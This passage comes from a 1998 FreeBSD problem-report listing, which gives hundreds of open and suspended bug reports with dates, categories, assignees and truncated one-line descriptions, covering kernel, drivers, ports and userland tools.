o [1998/04/07] kern/6238 luigi Sound-driver patch for MAD16 (OPTi 928,92 o [1998/04/07] kern/6242 vnode disk driver too unstable in -STABLE o [1998/04/08] kern/6251 peter ktrace very broken when logging over NFS o [1998/04/08] kern/6252 ide cdrom hangs system when on same bus a o [1998/04/09] kern/6253 Atapi wait for command phase too short. o [1998/04/10] kern/6267 dg panic: pmap_dispose_proc: upage already m o [1998/04/11] kern/6277 mouse operation weird in -current o [1998/04/13] ports/6288 se KDE port glitches o [1998/04/14] kern/6300 System locks up in SMP mode when accessin f [1998/04/15] misc/6310 des explicit cast needed in floatpoint.h for o [1998/04/16] bin/6317 with -8E flags telnet still goes to comma o [1998/04/17] kern/6336 peter NFSv3 should support files >2GB, but does o [1998/04/17] misc/6340 missing the terminfo, which causes librar o [1998/04/18] kern/6344 cy driver is outdated o [1998/04/19] kern/6351 DPT RAID controller stops working under h o [1998/04/20] i386/6368 Stallion Easyio 8 port not detected using o [1998/04/22] bin/6383 csh - when ctrl-d is pressed, file is chm o [1998/04/25] kern/6412 peter NFS sends packets from the wrong interfac o [1998/04/30] misc/6472 jb [PATCH] _thread_flockfile() hangs process a [1998/05/01] kern/6481 se Patches for VIA Socket 7 chipsets o [1998/05/03] kern/6506 system will not soft reboot f [1998/05/05] kern/6525 Coral-Draw 5 CD crashes 2.2.6-STABLE a [1998/05/06] bin/6536 pppd doesn't restore drainwait for tty o [1998/05/07] misc/6549 steve You dont always get notified when someone o [1998/05/08] bin/6557 /bin/sh is broken o [1998/05/10] kern/6574 ipfw crash with DIAGANOSTICS o [1998/05/10] bin/6577 /bin/sh environment variables not set in o [1998/05/11] kern/6587 SMP idle cpl breaks signal forwarding o [1998/05/11] kern/6589 system panick'd with May 4th kernel o [1998/05/11] ports/6591 se KDE starts /usr/bin/kzip instead of /usr/ o [1998/05/12] kern/6603 ncr driver hangs under high load o [1998/05/12] bin/6609 gmp.h not installed o [1998/05/15] kern/6650 joerg Replugging PS/2 keyboard causes a panic o [1998/05/17] kern/6670 PANIC on boot with FreeBSD 3.0 (same comp s [1998/05/19] kern/6686 [STABLE] -stable does not support large I o [1998/05/20] kern/6706 mount_msdos+mount_null+mc=panic f [1998/05/21] kern/6710 Quiting PPP paniced my machine o [1998/05/21] ports/6715 jraynard ElectricFence fails to work on -current o [1998/05/25] kern/6751 audio cd play suddenly stops. o [1998/05/25] kern/6755 peter Tulip (if_de) driver buggy in -current o [1998/05/27] kern/6771 peter panic: Bad nfs svc reply s [1998/05/27] misc/6773 [PATCH] tempnam.c security problems s [1998/05/29] bin/6790 [PATCH] make(1) coredumps in debugging mo s [1998/05/30] bin/6799 [THREAD,SCSI] problem with open(2) in lib o [1998/06/01] misc/6824 peter Intel EtherExpress 100+, 2.2.6 NFS troubl s [1998/06/02] bin/6830 make(1) exhibits confusing and non-standa s [1998/06/04] kern/6854 [PATCH] probing brooktree849 capture card s [1998/06/04] kern/6858 inetd in realloc(): warning: junk pointer o [1998/06/04] bin/6860 chgrp missing from /sbin o [1998/06/04] misc/6861 [PATCH] netboot error o [1998/06/05] kern/6865 OS crashes when exiting shell with suspen o [1998/06/05] conf/6872 Wrong csu lib built when setting BINFORMA o [1998/06/09] ports/6902 me xemacs package broken (motif dependency) o [1998/06/10] kern/6908 kernel crash from user land o [1998/06/12] ports/6929 ports fxtv-0.47 fails to build on AccelX server o [1998/06/12] ports/6930 imp socks5 port broken by /usr/lib/aout chang o [1998/06/15] misc/6956 panic: Going nowhere without my init when o [1998/06/18] ports/6986 ports LaTeX vs. teTeX ; xdvi, xdvik vs. teTeX o [1998/06/19] bin/6994 The netstat(1) -s generates wrong output f [1998/06/19] i386/6996 Occasional complete lockup of 2.2.5R o [1998/06/19] i386/7003 Problem with 3com ethernet 3c509a adaptor s [1998/06/22] bin/7019 [security] pwd.db almost always contains s [1998/06/23] bin/7033 Same process notified multiple times o [1998/06/24] kern/7038 shimon Kernel panic caused by DPT driver (Got a s [1998/06/24] bin/7043 the fstat command doesn't know ISOFS, MSD s [1998/06/24] conf/7054 [PATCH] bad default value of ${fs} for ty o [1998/06/24] i386/7057 3Com 3C509 locks up, or has >1000ms rtt u s [1998/06/24] bin/7059 sh dumps core on this script o [1998/06/24] ports/7061 ache fspclient's grab command fails (and remov o [1998/07/05] ports/7167 ache elm cannot pgp for more than one recipien s [1998/07/05] kern/7169 cannot use accton on a append-only file o [1998/07/05] kern/7178 sos IDE Western Digital hard disk detection e o [1998/07/06] ports/7182 asami www/netscape4-navigator cant fetch fortif s [1998/07/06] misc/7190 "Invalid partition table" after new insta o [1998/07/08] ports/7208 torstenb INN port w/TCL enabled doesn't install TC s [1998/07/10] kern/7237 NCR SCSI driver ch0 troubles o [1998/07/11] kern/7245 processes die with signal 6, if machine o o [1998/07/12] i386/7266 yokota PSM detection failure with Linksys consol o [1998/07/14] kern/7281 Multicast kludge does not work correctly o [1998/07/16] kern/7299 USER_LDT hangs Linux-emulated Netscape o [1998/07/17] bin/7309 jb pthread_attr_setscope() missing o [1998/07/18] i386/7311 "Probing devices" hangs computer with err o [1998/07/20] ports/7330 gpalmer ucd-snmp produces too much log file when o [1998/07/21] conf/7354 source distribution selection bug when in f [1998/07/22] kern/7367 panic: malloc: wrong bucket o [1998/07/22] bin/7370 ftp client fails to connect o [1998/07/23] ports/7382 ports Pine4 does not co-exist with older instal o [1998/07/23] ports/7383 torstenb socks5 + ssh + redirection not working o [1998/07/23] ports/7384 /usr/lib/libncurses.so.3.1 is old o [1998/07/24] i386/7390 jkh Core dump during 2.2.6 -> 2.2.7 upgrade. s [1998/07/26] bin/7402 Games primes and factor don't understand o [1998/07/26] kern/7405 in pmap_changebit, pmap_pte_quick() retur s [1998/07/27] kern/7410 [PATCH] driver for arlan-655 f [1998/07/27] kern/7415 VMIO bug for FS with sub-page-size blocks s [1998/07/27] i386/7420 [PATCH] Maximum socket buffer size (SB_MA o [1998/07/28] kern/7424 Machine crashes do not occur very often, o [1998/07/29] docs/7437 doc IPFW doco unclear about in/out o [1998/07/30] bin/7446 jdp Dlopen succeed in particular cases, but i o [1998/07/31] bin/7457 unix macro in m4(1) bust s [1998/07/31] bin/7458 [STABLE][PATCH]'boot bug' in syslogd o [1998/08/01] ports/7463 ports Perl scripts in automake port require per o [1998/08/02] ports/7472 jseger apache12 doesn't build on -current o [1998/08/02] ports/7473 jseger apache12 port sets permissions incorrectl o [1998/08/02] kern/7474 julian soft-updates: fsck doesn't fix link count o [1998/08/04] ports/7490 ache `setenv LANG/LC_CTYPE C` makes tcsh unusa o [1998/08/05] kern/7499 Panic in ffs_blkfree() s [1998/08/06] kern/7511 [PATCH] if_lnc network driver probe failu f [1998/08/10] ports/7552 markm I can't make the Perl 5 package s [1998/08/10] kern/7556 sl_compress_init() will fail if called an f [1998/08/10] kern/7557 -current machine running Diablo, lockup, s [1998/08/10] kern/7561 CDROM (wcd) is prone to lock up system/pr s [1998/08/10] kern/7562 Running wine can cause other applications o [1998/08/12] kern/7586 [PATCH] Threads bug in libc_r preventing o [1998/08/12] bin/7587 There is no pthread_cancel() in libc_r.a! o [1998/08/12] misc/7600 Pthreads Bug - Interaction between printf o [1998/08/13] bin/7602 df stay in disk wait o [1998/08/18] kern/7658 (1) rlogin from some host to the FreeBSD o [1998/08/18] kern/7664 scsiformat reports '0' for all parameters o [1998/08/18] conf/7665 sysinstall quits silently o [1998/08/19] conf/7677 make world 3.0 fails on r/o src-tree o [1998/08/19] kern/7678 Problems with a 386-16 o [1998/08/19] kern/7688 FreeBSD will NOT boot itself if it's not o [1998/08/20] i386/7698 scotty/tkined library error o [1998/08/22] kern/7713 problem with reusing ports with multicast o [1998/08/23] kern/7727 Processes get wedged in 'getblk' on 2.2.7 o [1998/08/23] ports/7731 ports Mysql package and port core-dumps on 2.2. o [1998/08/25] bin/7742 fclose(3) dumps core on NULL o [1998/08/25] bin/7744 Pthread scheduler bug o [1998/08/25] ports/7745 ports nicetext-0.9 port submission o [1998/08/26] bin/7749 /etc/daily will not run /etc/uuclean.dail o [1998/08/26] ports/7750 ports BIND 8.1.2 port does not install document o [1998/08/27] kern/7754 kernel panics if NFS server uses LKM vs. o [1998/08/27] bin/7755 brian 2.2.7 user PPP lockups o [1998/08/27] bin/7756 disklabel misbehaving on seriously sick d o [1998/08/27] ports/7761 Update to recent port submission of nicet o [1998/08/27] kern/7764 ps(1) hangs in pfslck/lockrd - All subseq o [1998/08/27] kern/7766 de driver still buggy - random ifc death o [1998/08/27] kern/7767 de driver still buggy - power cycle of de o [1998/08/30] kern/7781 Problem with setpassent(), getpwnam() and o [1998/08/30] docs/7785 doc Securelevel 3 not documented in init(8) o [1998/08/31] kern/7793 kernel wedges when netscape exits o [1998/09/01] docs/7795 doc Error in gcc man page o [1998/09/01] kern/7797 System halted with "panic: pmap_release: o [1998/09/01] bin/7799 kbdcontrol uses uninitialized variable s [1998/09/01] kern/7802 [MFC] outbound, fragmented multicast pack o [1998/09/02] ports/7805 ports Port bytebench-3.1 is broken! ("shell" pa o [1998/09/02] pending/7810gnats-adminpopen fails to set close on exec flag o [1998/09/02] ports/7813 ports make reports nn as BROKEN= checksum o [1998/09/02] i386/7815 probe can't find wdc0 o [1998/09/02] bin/7817 pw(8) doesn't work correctly with random o [1998/09/03] gnu/7821 awk in free(): warning: chunk is already o [1998/09/03] conf/7823 sysinstall will not install XFree o [1998/09/03] ports/7825 ports missing app-default from xmascot-2.5p2.tg o [1998/09/05] bin/7835 whereis doesn't find sources in /usr/src/ 427 problems total. Non-critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- s [1995/01/14] bin/115 systat iostat display doesn't scale high s [1995/05/13] bin/401 Add REMOTE_* variables s [1995/05/23] i386/440 want vidcontrol option to apply settings a [1995/05/27] gnu/450 scrappy tar --exclude -c doesn't work s [1995/06/15] bin/517 Bad group change with 'install' o [1995/07/09] misc/605 wpaul NIS: get*bynis routine problems s [1995/08/05] gnu/655 ld -r of shared objects worked in 1.1.5, s [1995/08/07] bin/658 ifconfig alias has to be separately given s [1995/09/26] kern/742 syslog errors accessing Mac hard disks [p s [1995/10/03] kern/765 umount -f can`t umount a NFS filesystem i s [1995/11/20] kern/831 one minor complaint about the kernel visu s [1995/11/27] bin/841 stale nfs mounts cannot be umounted o [1995/11/30] bin/854 dg swapinfo shows incorrect information for o [1995/12/17] kern/900 dg ext2fs triggers divide by zero trap in vn o [1996/01/21] bin/961 hoek 'more $file', incorrect CRLF compacting. s [1996/01/28] kern/975 getrusage returns negative deltas a [1996/01/30] bin/981 fenner clnt_broadcast() is not aware of aliases s [1996/02/07] bin/999 /usr/share/mk/sys.mk missing common $(RM) s [1996/03/20] kern/1090 iostat displays incorrect sps count s [1996/03/20] bin/1093 route's diagnostic is weird o [1996/04/06] kern/1119 dg Mounted EXT2FS partition is not cleanly u s [1996/06/11] bin/1312 automounter hangs on boot s [1996/06/13] bin/1320 dump limits blocksize to 32K s [1996/06/18] i386/1331 [PATCH] changes and bug in ft driver s [1996/07/07] bin/1375 jraynard Extraneous warning from mv(1) [PATCH] o [1996/07/24] misc/1428 ncurses doesn't always display ALTCHARSET a [1996/08/07] ports/1470 asami need more info in the ports structure s [1996/08/17] bin/1502 [PATCH] vmstat 'avm' field merges with pr o [1996/08/19] kern/1514 dg mlock fails on readonly regions o [1996/08/20] kern/1516 dg vm_fault.c contains dead code or too many o [1996/08/21] ports/1520 erich sudo dosn't recognise certain passwords a a [1996/09/04] bin/1565 Moving a file to it's link completely rem o [1996/09/06] bin/1577 peter mail -f foo does not look in current dire s [1996/09/08] bin/1589 [PATCH] ftp fails to flush output o [1996/09/14] gnu/1611 phk groff should use "system-wide" papersize s [1996/09/19] kern/1654 [PATCH] In procfs, vattr doesn't contain o [1996/09/23] i386/1671 joerg s2 map in pcvt isn't ISO 8859-1 and claim o [1996/09/29] docs/1691 doc ppp server doc submission s [1996/10/13] kern/1788 wollman netstat gives negative numbers for tcp by s [1996/10/13] misc/1791 syslimits.h does not allow overriding def o [1996/10/14] ports/1804 jkh pkg_create hangs if the packing list has o [1996/10/20] bin/1849 gdb sets library breakpoints on the wrong o [1996/10/20] docs/1855 joerg Addition to LINT o [1996/10/23] bin/1872 automounter (amd) cannot ls directories w s [1996/10/24] bin/1881 file(1) misidentifies Sun3/m68k executabl s [1996/11/01] bin/1941 danny wtmp and monthly rotation s [1996/11/01] bin/1943 route(8) args s [1996/11/02] bin/1945 Out of date code/comments in dd o [1996/11/04] i386/1953 sos syscons savers have no default timeout s [1996/11/04] gnu/1961 [PATCH] uucp logging files are in /var/sp s [1996/11/06] bin/1970 csh limtail() bug s [1996/11/16] bin/2036 cpio size wraparound s [1996/11/19] bin/2061 DEBUG_FLAGS in bsd.lib.mk is broken s [1996/11/22] bin/2090 clients may bind to FreeBSD ypserv refusi o [1996/11/25] misc/2105 jmg bsd.lib.mk has problems with STRIP and IN o [1996/11/26] i386/2108 sos [ATAPI] wcd driver may hang under certain o [1996/11/28] kern/2118 sos writing to virtual consoles fails to disp s [1996/11/28] bin/2119 [PATCH] mount lies to child about argv0, s [1996/12/02] bin/2137 vm statistics are bad o [1996/12/07] ports/2169 pst zephyr port disagrees with Kerberos causi o [1996/12/08] bin/2184 peter sendmail has lots of trouble with local d a [1996/12/10] ports/2190 asami need cross-reference to xpdf from X11 por s [1996/12/12] kern/2199 joerg [PATCH] Got a lots of "Target Busy" messa s [1996/12/14] kern/2214 File System gets corrupted when mounting s [1996/12/14] bin/2216 [PATCH] Ada specs not being compiled into s [1996/12/17] i386/2234 fbsdboot.exe does not turn off floppy dri o [1996/12/17] i386/2239 jmg some interrupts take too long (i.e. BT946 a [1996/12/21] bin/2265 guido su(1) does not call skeyaccess() o [1996/12/24] kern/2273 dufault support for POSIX.4 / POSIX.1a RT-schedul s [1996/12/26] bin/2291 [PATCH?] race condition in /etc/master.pa s [1996/12/27] kern/2298 Support for DSR/DCD swapping on serial po a [1996/12/27] misc/2302 brandon new crypt() including SHS and an extendab o [1996/12/29] bin/2315 peter tail segfaults on NFS permission denied s [1996/12/30] kern/2327 [PATCH] `Green' saver for pcvt o [1997/01/06] bin/2387 [PATCH] virtual hosting patches for inetd o [1997/01/07] kern/2393 filesystems not unmounted following shutd o [1997/01/07] bin/2410 pppd(8): failing PAP doesn't force line d o [1997/01/10] bin/2442 davidn setusershell()/endusershell() missing o [1997/01/11] bin/2448 steve [MFC] semctl() not portable -- freebsd re o [1997/01/12] kern/2462 sos screen saver dosn't capture key strokes o [1997/01/14] kern/2492 AIMS Lab RadioTrack driver for FreeBSD 2. o [1997/01/15] bin/2499 des fetch ftp://bla bla doesn't bail in disk o [1997/01/16] i386/2514 jkh BootEasy binary is OLD in in FBSD install o [1997/01/17] bin/2518 /usr/bin/tar is out of date o [1997/01/21] bin/2556 Patch for calendar.c o [1997/01/26] misc/2596 dd refuses to respond to SIGkill o [1997/01/26] i386/2598 ep0 in EISA mode hangs if ep0-device (ISA o [1997/01/28] bin/2603 dufault Added POSIX.4/POSIX.1b constants in unist o [1997/01/28] bin/2604 dufault Added POSIX.4/POSIX.1b shm_open()/shm_unl o [1997/01/29] misc/2617 Utility submission - upsmon - UPS monitor o [1997/01/31] bin/2630 [PATCH] xargs does excessive and inconsis o [1997/02/02] gnu/2637 tar dumped core with -g option. a [1997/02/02] bin/2641 wpaul login_access.c doesn't work with NIS by d o [1997/02/04] bin/2660 When selecting BSD to boot from system ha o [1997/02/05] bin/2668 modification suggested for rarpd o [1997/02/05] bin/2672 Problem with telnetd o [1997/02/10] bin/2703 jmg vipw doesn't allow you to edit master.pas o [1997/02/10] kern/2704 Occasional failure to detect wdc1 on boot o [1997/02/11] conf/2709 FBSD 2.1.6 X-Server installation setup ut o [1997/02/11] kern/2715 MSDOS-FS 1024/2048 byte/sector media supp o [1997/02/11] kern/2716 od.c/sd.c non 512 byte/sector support imp o [1997/02/13] i386/2729 "make tags" in sys/kern produces barely u o [1997/02/14] bin/2734 jkh pkg_* uses relative paths to executables o [1997/02/14] bin/2735 jkh Add signature support (both MD5 and PGP) o [1997/02/14] bin/2737 yppasswd fails to change password on a su o [1997/02/15] misc/2745 fenner PR querry web form doesn't sort correctly o [1997/02/23] kern/2806 new kernel tags script o [1997/02/26] conf/2822 ftp install specifying URL confusing o [1997/02/27] gnu/2827 after make world genclass is not installe o [1997/03/02] bin/2851 script(1) sets argv[0] of the started she o [1997/03/03] kern/2857 DE500 board exhibits capture effect o [1997/03/03] bin/2859 /usr/bin/quota seems to choke on long gro o [1997/03/03] kern/2865 peter NFS client hangs on umount, ls, df when N o [1997/03/05] kern/2886 fenner mbuf leak in multicast code o [1997/03/06] docs/2897 steve send-pr categories should be explained so o [1997/03/06] bin/2898 fenner arp -a -n buglet o [1997/03/09] i386/2924 sos syscons X keyboard gets stuck in capsmode o [1997/03/10] bin/2934 sh(1) has problems with $ENV o [1997/03/10] bin/2938 Add -b, -l, and -f options to du(1) o [1997/03/11] ports/2949 asami bsd.port.mk needs something like FETCH_EN o [1997/03/14] ports/2988 joerg vga font is not built o [1997/03/17] ports/3012 obrien qmailanalog port in incoming o [1997/03/18] misc/3024 make reinstall in /usr/src requires writa o [1997/03/22] kern/3061 route does not accept -genmask o [1997/03/31] gnu/3157 Patches to gas and gdb to support MMX ext o [1997/04/07] bin/3221 rpc.rusersd : can't communicate with SunO o [1997/04/07] misc/3225 uucpd.c should normalize host names as lo o [1997/04/08] misc/3237 SCRIPTS addition to bsd.prog.mk o [1997/04/09] bin/3242 incorrect prototype for initgroups o [1997/04/10] bin/3251 xsysinfo stops refreshing and wastes CPU o [1997/04/10] kern/3253 scsiconf.c: make ZIP disks use optical dr s [1997/04/13] conf/3272 imp $@ is deprecated I believe, so use ${.TAR o [1997/04/14] kern/3281 errors when "rm -r"-ing in a mounted ext2 o [1997/04/14] kern/3282 ext2fs causes fs-unmount at shutdown/rebo o [1997/04/14] bin/3284 [PATCH] symorder(1): -t option doesnŽt wo o [1997/04/14] bin/3286 [PATCH] missing error checking in mount_m o [1997/04/14] kern/3287 [PATCH] missing symbols in /usr/src/sys/i o [1997/04/15] kern/3299 /dev/console hangs o [1997/04/17] bin/3314 /etc/daily did not run on April 6, 1997 o [1997/04/17] ports/3318 ports New port: jigsaw (Java-based HTTP server) o [1997/04/27] bin/3399 mv of symbolic link can move directory in o [1997/04/29] bin/3416 ibcs emulation problems o [1997/04/29] bin/3418 jkh pkg_create doesn't always create gzip'ed o [1997/05/01] ports/3455 jmz mtools-3.6.tgz could have a better mtools o [1997/05/02] kern/3475 gdb(ptrace?) cause create/modify times on o [1997/05/05] i386/3504 [PATCH] New features (and manpage) for ne o [1997/05/05] bin/3506 [PATCH] more did not show iso-8859-n char o [1997/05/05] bin/3508 FreeBSD 2.2.1 do not view SCSI disk at sw o [1997/05/06] docs/3522 Man pages close(2) misses fcntl lock info o [1997/05/08] kern/3546 ktrace works even if no read permission o [1997/05/08] gnu/3552 the -L option of tar does not work proper o [1997/05/09] bin/3556 Bug with -i option in /usr/bin/lpr o [1997/05/09] bin/3558 make reinstall collapses on install-info s [1997/05/09] kern/3571 Mounted ext2 prevents umount of filesyste o [1997/05/11] conf/3577 eBones and OBJLINK=yes fails to build o [1997/05/12] kern/3584 cleanup TCP_REASS macro in tcp_input.c o [1997/05/13] conf/3590 doc FAQ gives bad reccomendation re: xdm o [1997/05/16] bin/3608 Telnet in linemode will break apart long o [1997/05/17] kern/3611 Internal CPU cache on CyrixiInstead DX2 d o [1997/05/18] gnu/3616 permissions of /usr/libexec/uucp/uuxqt no o [1997/05/20] bin/3638 /bin/w can't handle long /dev/{tty,cua}xx o [1997/05/20] docs/3645 torstenb TCP_wrappers package doesn't mention wher s [1997/05/21] bin/3648 roberto [PATCH] find(1) extension for file flags o [1997/05/21] ports/3657 dburr Port of NCSA HyperNews submitted as p5-hy s [1997/05/22] kern/3667 [PATCH] make vn LKM'able. s [1997/05/30] docs/3720 doc Addition for supported Hardware o [1997/05/31] ports/3729 scrappy pgsql dies when initiated o [1997/06/01] conf/3751 Improvements to /etc/rc{,.network,.pccard o [1997/06/02] bin/3762 dufault Bogus return values from rtprio(1) o [1997/06/04] bin/3778 wpaul ypbind -S domainname,server1,... does not o [1997/06/07] bin/3805 single process tftpd o [1997/06/09] bin/3826 KerberosIV sometimes hangs rcp o [1997/06/10] kern/3836 Cannot remove HUGE directory o [1997/06/10] bin/3837 dufault new feature for rtprio o [1997/06/12] kern/3853 netboot/ns8390.c breaks NS datasheet o [1997/06/13] bin/3859 Setting the $0 variable in perl dosnt do o [1997/06/14] bin/3866 rcs2log fails with eastern timezones o [1997/06/15] kern/3879 peter Can't export mounted ext2fs via NFS o [1997/06/16] conf/3886 peter install does not build sendmail host stat o [1997/06/17] ports/3892 itojun new port: www/webxref (cross-reference ge o [1997/06/18] kern/3901 Multicast for Intel 10/100 Ethernet Card o [1997/06/19] misc/3912 ctags(1) cannot trace some macro correctl o [1997/06/23] kern/3938 peter Problem about mmap() over NFS o [1997/06/24] kern/3944 if_le doesnt receive ether multicast pack o [1997/06/25] kern/3948 nonworking t/tcp server side a [1997/06/25] kern/3953 kern-config: options PANIC_REBOOT_WAIT_TI o [1997/06/26] bin/3957 Makefile dependency error in amd o [1997/06/26] ports/3958 obrien a2ps fails if used according to man o [1997/06/26] i386/3962 print disk internal cache size during pro o [1997/06/27] kern/3968 Hardware probes die on Peak SBCs. o [1997/06/29] ports/3983 fenner New port: psf toolkit o [1997/07/02] ports/4014 jkh package/port installation obeys roots uma o [1997/07/07] kern/4051 pppd connect 'chat ...' broken s [1997/07/07] kern/4052 VJ compression drops packets with IP+TCP o [1997/07/08] misc/4063 2.2.2R Installation fails if Jaz drive sp o [1997/07/13] ports/4083 ache netscape wrapper doesn't hand off args co o [1997/07/18] bin/4116 davidn Kerberized login as .root fails to o [1997/07/23] kern/4153 New tcp initial send sequence number code s [1997/07/23] bin/4154 wish /bin/sleep handled fractions of a se s [1997/07/24] bin/4157 [PATCH] netstat atalk output should print o [1997/07/24] bin/4163 ftp core dumps after hitting control-C s [1997/07/26] bin/4172 suggest reconnection option added to fetc s [1997/07/28] kern/4184 [PATCH] minor nits in sys/netatalk s [1997/07/31] bin/4204 [PATCH] ac printed wrong report about tty o [1997/08/03] kern/4221 Kernel mode pppd doesen't update wtmp on o [1997/08/04] conf/4229 Ethernet interface unreachable on bootup o [1997/08/06] ports/4232 scrappy Boot-time start of postgressql postmaster o [1997/08/06] bin/4238 chpass only occasionally works in conjunc o [1997/08/07] kern/4243 file locking doesn't work for pipe o [1997/08/07] bin/4247 modification to /etc/security for FreeBSD o [1997/08/08] misc/4249 wpaul ypchsh doesn't care about changing a user a [1997/08/09] kern/4255 SMP kernel freezes on machines with >2 CP a [1997/08/09] kern/4257 itojun scsi RESERVATION CONFLICT support needed o [1997/08/10] ports/4264 ports mftp get a Segmentation fault o [1997/08/12] misc/4285 SDL RISCom/N2 (ISA) a [1997/08/13] gnu/4290 ache man wrong viewed koi8-r manpages and neqn o [1997/08/13] kern/4297 dufault SIGEV_NONE and SIGEV_SIGNAL go in signal. o [1997/08/13] i386/4300 msmith The initial timeout on open("/dev/lpt0".. o [1997/08/14] ports/4304 asami Recommendation re. Ports Collection o [1997/08/22] ports/4356 erich sudo shouldn't block signals in tgetpass( o [1997/08/23] conf/4363 kernel build depend on make obj o [1997/08/26] ports/4391 ports New port: VPCE o [1997/08/26] misc/4395 if exists(secure) in /usr/src/Makefile is o [1997/08/29] kern/4413 No way to unmount a floppy that goes bad o [1997/08/29] misc/4414 be.iso.kbd errors in mapping o [1997/08/29] bin/4419 man can display the same man page twice o [1997/08/29] bin/4420 find -exedir doesn't chdir for first entr o [1997/09/03] bin/4459 bde No prototype for moncontrol(3) and monsta o [1997/09/04] misc/4468 dlopen is not available from static execu o [1997/09/07] bin/4484 peter sendmail is barfing o [1997/09/13] kern/4528 processes hang if the mount_portal proces a [1997/09/14] i386/4538 sos byteswapped ATAPI id strings o [1997/09/14] bin/4545 f77 will only call `cc', no com-line opti f [1997/09/15] i386/4547 asc.c and pcaudio.c should use selrecord o [1997/09/16] bin/4553 man fails to open manpage if ./man exists o [1997/09/16] misc/4556 make can't build executable from single F o [1997/09/17] ports/4565 torstenb News port: ircII-current (ircII-2.9a8/col o [1997/09/18] conf/4572 /etc/rc.network loads ipfirewall lkm rega o [1997/09/21] kern/4597 Patch to pass NPX status word in signal c o [1997/09/21] kern/4601 Contrib: userconfig patch to edit SCSI co o [1997/09/25] bin/4629 calendar doesn't print all dates sometime o [1997/09/28] misc/4646 Can't fixit with an NFS-mounted CD. o [1997/09/29] conf/4654 Need to do post-ifconfig commands o [1997/10/02] kern/4680 lkm version of vn.c o [1997/10/03] kern/4685 Some SCSI retry messages formatted differ o [1997/10/04] bin/4688 peter sys/utsname.h SYS_NMLN 32 too small o [1997/10/05] bin/4695 pstat error o [1997/10/05] bin/4696 ping hangs on certain unresolvable hosts o [1997/10/05] bin/4697 make doesn't handle dependencies with for o [1997/10/12] gnu/4748 cc -Wformat too sensitive o [1997/10/15] gnu/4771 diff to correct misleading total bytes in a [1997/10/19] ports/4808 andreas Broken password.c in backend/libpq for Fr o [1997/10/22] bin/4828 ypxfr makes false assumption about RPC ca o [1997/10/23] docs/4833 Manual page missing for pccardc o [1997/10/23] kern/4837 bad error return from rmdir() with msdos a [1997/10/23] ports/4839 ports New port - spin - Verification system for o [1997/10/24] kern/4845 Boot complains about disk slices in FAT p o [1997/10/24] kern/4847 pccard stuff fails after running Win95 wi o [1997/11/01] bin/4915 peter NFS mounts to linux machine can hang syst o [1997/11/02] bin/4923 vi leaves the screen in standout mode o [1997/11/03] ports/4928 asami no 'update' target in /usr/ports/Makefile s [1997/11/04] ports/4937 mph A looks-nice audio level meter port is no o [1997/11/07] ports/4967 ports I have ported Carl DeClerck's mserver-0.2 o [1997/11/07] bin/4969 cdcontrol plays incorrect audio tracks in o [1997/11/08] bin/4975 quotaon while server very busy causes loc o [1997/11/09] kern/4992 SCSI disk scheduling disabled in 2.2.5 o [1997/11/10] kern/4997 DDB_UNATTENDED doesn't always work o [1997/11/10] misc/4999 Entering '?' at first boot prompt in inst o [1997/11/11] kern/5009 ibcs2 emulation o [1997/11/11] kern/5011 rndcontrol -s 8 causes kernel panic o [1997/11/13] bin/5031 lpr does not remove original file if -s i o [1997/11/13] ports/5034 ache (tcsh) blocked write on named pipe sticks o [1997/11/14] kern/5038 FreeBSD can't read MS Joliet CDs. o [1997/11/14] gnu/5039 libdialog fails to resore terminal o [1997/11/14] kern/5040 Support for "SCSI-0" devices f [1997/11/14] ports/5045 ports freebsd.ftp.markers for xearth is out of o [1997/11/14] bin/5047 ipfw(8) IP address resolving problem if o o [1997/11/14] kern/5048 Calling shutdown(fd,1) multiple times wil o [1997/11/15] kern/5059 peter mountd, nfsd, etc. fail when lp0 defined o [1997/11/15] kern/5060 Kernel doesn't compile with mss o [1997/11/15] misc/5064 A dos2bsd conversion utility in C. o [1997/11/17] bin/5072 /usr/bin/fetch parses a URL incorrectly o [1997/11/18] misc/5081 sysinstall glitches o [1997/11/18] misc/5082 Permit upgrade of multi-disk system, or d o [1997/11/20] kern/5108 pmap_release panics with 'freeing held pa o [1997/11/20] bin/5109 patch to ftpd, new option to limit number o [1997/11/20] kern/5110 kernel crash & core in pmap_testbit durin o [1997/11/23] bin/5134 cdcontrol will eject a mounted CDROM s [1997/11/25] misc/5147 [PATCH] a shell script to help -CURRENT u o [1997/11/26] misc/5153 jkh release file checksums in wrong file o [1997/11/26] ports/5158 ports thot editor port doesn't install template s [1997/11/28] bin/5173 [PATCH] restore ought to deal with root s s [1997/11/30] i386/5182 bde [PATCH] A patch support high speed serial o [1997/12/03] ports/5201 ports new port-package for fidogate o [1997/12/03] conf/5213 My SB AWE64 isn't being recognized. f [1997/12/05] kern/5231 Mounted MS-DOS floppy disk writes unrelia o [1997/12/06] misc/5239 jkh ata + atapi & /stand/sysinstall & dos o [1997/12/06] ports/5240 ports Incorrect path in pkfonts (fix) o [1997/12/09] bin/5263 sh bug (with example) s [1997/12/11] kern/5274 gibbs [PATCH] mt comp 0/1 does not work, with f s [1997/12/11] kern/5275 [PATCH] Added volume (barcode) support to o [1997/12/14] conf/5292 master.passwd -- /nonexistent vs. /sbin/n s [1997/12/14] bin/5296 slattach fails creating pidfile with ioct f [1997/12/15] ports/5302 ache webcopy port doesnt work? o [1997/12/15] ports/5312 ports New math port xwpl o [1997/12/22] kern/5362 peter mount incorrectly reports / as an NFS exp o [1997/12/28] ports/5393 ports DOOMSRC port & package o [1997/12/30] ports/5397 ports upload of new port (fly) f [1997/12/30] i386/5398 silo overflows running o [1998/01/02] bin/5410 pkg_info options s [1998/01/03] bin/5419 [PATCH] timed rejects valid networks with o [1998/01/08] kern/5429 Ethernet collision during file transfers s [1998/01/08] kern/5435 [PATCH] if_fe.c for old Gateway Communica s [1998/01/08] bin/5444 [PATCH] ypserv uses wrong dns lookup orde o [1998/01/08] ports/5446 se KDE port does not install using make in / s [1998/01/08] bin/5451 roberto [PATCH] halt/reboot does not execute /etc o [1998/01/09] ports/5472 erich xmmix-1.2 prot won't compile - "SOUND_VER o [1998/01/10] ports/5475 ports abacus sentry o [1998/01/11] bin/5483 Login(1) clears utmp entry s [1998/01/15] docs/5487 doc Adding documentation for scsi(8) usage wi o [1998/01/15] kern/5502 nfsd process usage doesn't get accounted o [1998/01/15] kern/5508 SCSI Message sd0: COMMAND FAILED (4 28) @ o [1998/01/15] ports/5509 ports submit new port xruskb-1.5.1 s [1998/01/16] kern/5510 sos [PATCH] Incomplete ATAPI diagnostic at bo o [1998/01/18] kern/5517 Recursive NULLFS mount causes ufs_ihashge o [1998/01/19] 